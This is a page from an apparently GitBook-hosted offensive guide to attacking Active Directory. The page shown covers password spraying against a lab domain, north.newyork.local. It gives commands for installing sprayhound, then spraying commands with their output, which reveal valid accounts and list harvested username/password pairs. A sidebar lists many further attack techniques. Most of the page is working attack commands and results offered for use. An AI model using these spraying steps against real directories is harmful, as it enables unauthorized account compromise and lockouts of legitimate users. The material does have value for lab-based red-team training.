Attacking Active Directory
  • Reconnaissance
    • Enumerate Network
    • Enumerating Users With CME - Anonymously
    • Enumerate Users Anonymously - RPC
    • Enumerating User with Ldapsearch and enum4linux - Anonymously
    • Enumerate Guest Access on Shares - CME
  • Exploiting With Poison and Relay
    • Responder
    • NTLM relay
    • Secretsdump
    • Lsassy
    • DonPapi
    • Pass The Hash with Winpexec.py
    • Pass The Hash with Evil-Winrm
    • Pass the Hash with CrackMapExec
    • Coerced auth smb + ntlmrelayx to ldaps with drop the mic
  • User Enumeration Exploit
    • setup /etc/hosts and kerberos
    • Exploiting Username - ASREPRoast
    • Password Spraying
    • User listing with GetADUsers and ldapsearch
    • Kerberoasting
    • Powerview
      • Setting Up PowerView
      • Get-NetUser
      • Get-NetGroup
      • Get-NetComputer
      • Get-NetFileServer
      • Get-NetGPO
      • Get-ObjectAcl
      • Get-NetDomainTrust
      • Invoke-Portscan
    • Enumerate Shares with User Account
  • Exploiting with Users
    • SamAccountName (NoPac)
      • Semi Manual Exploit
      • From Linux With NoPAC.py
      • From Windows With noPAC.exe
    • PrintNightmare - Bronx
      • Check and Prepare
      • windows and linux
    • PrintNightmare - Baltimore
      • Exploit
  • WSUS Exploit
  • Active Directory Certificate Services (ADCS)
    • Bloodhound
      • Bloodhound - Install Neo4j
      • Run BloodHound
      • ADCS reconnaissance and enumeration (with certipy and bloodhound)
    • ESC8 - coerce to domain admin
    • ESC8 - with certipy
    • ADCS - ESC1
    • ADCS - ESC2 & ESC3
    • ADCS - ESC4
    • ADCS - ESC6
    • Certifried - CVE-2022–26923
    • Shadow Credentials
  • Metasploit
    • Initial Shell Shell Shell
    • Enumeration 1 - Users, Groups, Computers
    • Enumeration 2 - Arp, Tokens, Patches
    • Enumeration 3 - Shares, SMB, and More
    • Back Door Add User
    • Metasploit Exploit Suggester
    • HashDump With Metasploit
    • Lateral Movement With Metasploit
    • DsSync With Metasploit from NT Autority/System to Administrator
    • Golden Ticket with Metasploit
    • Using a Keylogger with Metasploit
    • BackDoor Meterpreter Service
  • Privilege Escalation
  • User ACL Exploits
    • Hunting with bloodhound
    • ACL With BloodHound
    • ForceChangePassword on User (Donald-> Hugo)
    • GenericWrite on User (Hugo -> Ramon)
    • WriteDacl on User (Ramon-> Nicolas)
    • Add self on Group (Nicolas-> RadioCity)
    • AddMember on Group (RadioCity -> EmpireState)
    • WriteOwner on Group (EmpireState -> CentralPark)
    • Generic all on user (CentralPark -> diego.Montenegro)
      • machine account to administrator shell
      • Silver ticket
    • GPO abuse
    • Read Laps password
  • MSSQL servers Exploitation
    • Enumerate the MSSQL servers
    • Enumerate MSSQL servers with GetUserSPNs & NMAP
    • Enumerate MSSQL servers with CrackMap & Impacket
    • impersonate - execute as login
    • MSSQL Coerce and relay
    • MSSQL trusted links
    • MSSQL Command execution to shell - Yonkers
    • MSSQL Command execution to shell - Salisbury
  • Delegations
    • Unconstrain
    • Constrain Delegation
      • With Protocol Transmition
      • Without protocol transition
    • Resource Based Constrained Delegation
    • Unconstrained delegation Enum
  • Trust
    • Enumerate Trust
    • Domain Trust - child/parent (north.newyork.local -> newyork.local)
      • RaiseMeUp - Escalate with impacket raiseChild
      • Golden ticket + ExtraSid
      • Trust ticket - forge inter-realm TGT
    • Forest Trust (newyork.local -> maryland.local)
      • Foreign group and users
      • Use unconstrained delegation
      • Mssql Trusted link
      • Golden ticket with external forest, sid history ftw ( Maryland-> NewYork)
      • Trust ticket with external forest ( maryland.local-> newyork.local)
      • Exploit acl with external trust golden ticket
  • Exploiting IIS & Privilege escalation
    • IIS - webshell
    • Privesc SeImpersonatePrivilege
    • winPeas without touching disk
    • SeImpersonatePrivilege to Authority\system
    • KrbRelay Up - Linux
    • KrbRelay Up - Windows - PowerPack
    • KrbRelay Up - Windows V2
  • Impacket
    • Install Impacket
    • Getting Initial Shell
Powered by GitBook
On this page
  1. User Enumeration Exploit

Password Spraying

Install Sprayhound

sudo apt-get install libsasl2-dev python3-dev libldap2-dev libssl-dev
git clone https://github.com/Hackndo/sprayhound.git
cd sprayhound
sudo python3 -m pip install -r requirements.txt
sudo aptitude install libsasl2-dev python3-dev libldap2-dev libssl-dev

python3-dev is already installed at the requested version (3.9.2-3)
python3-dev is already installed at the requested version (3.9.2-3)
The following NEW packages will be installed:
  libldap2-dev{b} libsasl2-dev libssl-dev
The following packages will be upgraded:
  libssl1.1
1 packages upgraded, 3 newly installed, 0 to remove and 227 not upgraded.
Need to get 3,999 kB of archives. After unpacking 10.6 MB will be used.
The following packages have unmet dependencies:
 libldap2-dev : Depends: libldap-2.4-2 (= 2.4.57+dfsg-3+deb11u1) but 2.4.59+dfsg-1~bpo11+1 is installed
The following actions will resolve these dependencies:

     Keep the following packages at their current version:
1)     libldap2-dev [Not Installed]



Accept this solution? [Y/n/q/?] n
The following actions will resolve these dependencies:

     Downgrade the following packages:
1)     libldap-2.4-2 [2.4.59+dfsg-1~bpo11+1 (now, parrot-backports) -> 2.4.57+dfsg-3+deb11u1 (parrot, parrot-security)]



Accept this solution? [Y/n/q/?] y
The following packages will be DOWNGRADED:
  libldap-2.4-2
The following NEW packages will be installed:
  libldap2-dev libsasl2-dev libssl-dev
The following packages will be upgraded:
  libssl1.1



sudo python3 setup.py install

sprayhound -U users.txt -d north.newyork.local -dc 192.168.56.11 --lower
         
[!] BEWARE ! You are going to test user/pass without providing a valid domain user
[!] Without a valid domain user, tested account may be locked out as we're not able to determine password policy and bad password count
    Continue anyway? [y/N] y
[+] 16 users will be tested
[+] 0 users will not be tested
    Continue? [Y/n] y
[+] [  VALID  ] vagrant : vagrant
[+] [  VALID  ] pacofish : pacofish
[+] 2 user(s) have been owned !
    Do you want to set them as 'owned' in Bloodhound ? [Y/n] n

We could try sprayhound with a valid user to avoid locking account (option -t to set the number of try left)

sprayhound -U users.txt -d north.newyork.local -dc 192.168.56.11 -lu pacofish -lp pacofish --lower -t 2

[+] Login successful
[+] Successfully retrieved password policy (Threshold: 5)
[+] Successfully retrieved 15 users
[+] 15 users will be tested
[+] 0 users will not be tested
    Continue? [Y/n] y
[+] [  VALID  ] vagrant : vagrant
[+] [  VALID  ] pacofish : pacofish
[+] 2 user(s) have been owned !
    Do you want to set them as 'owned' in Bloodhound ? [Y/n] n
[!] Ok, master. Bye.

We now got three couple of credentials

miguel.cabrera = ilovebaseball
claudio.ortiz = babyboy
pacofish = pacofish
PreviousExploiting Username - ASREPRoastNextUser listing with GetADUsers and ldapsearch

Last updated 2 years ago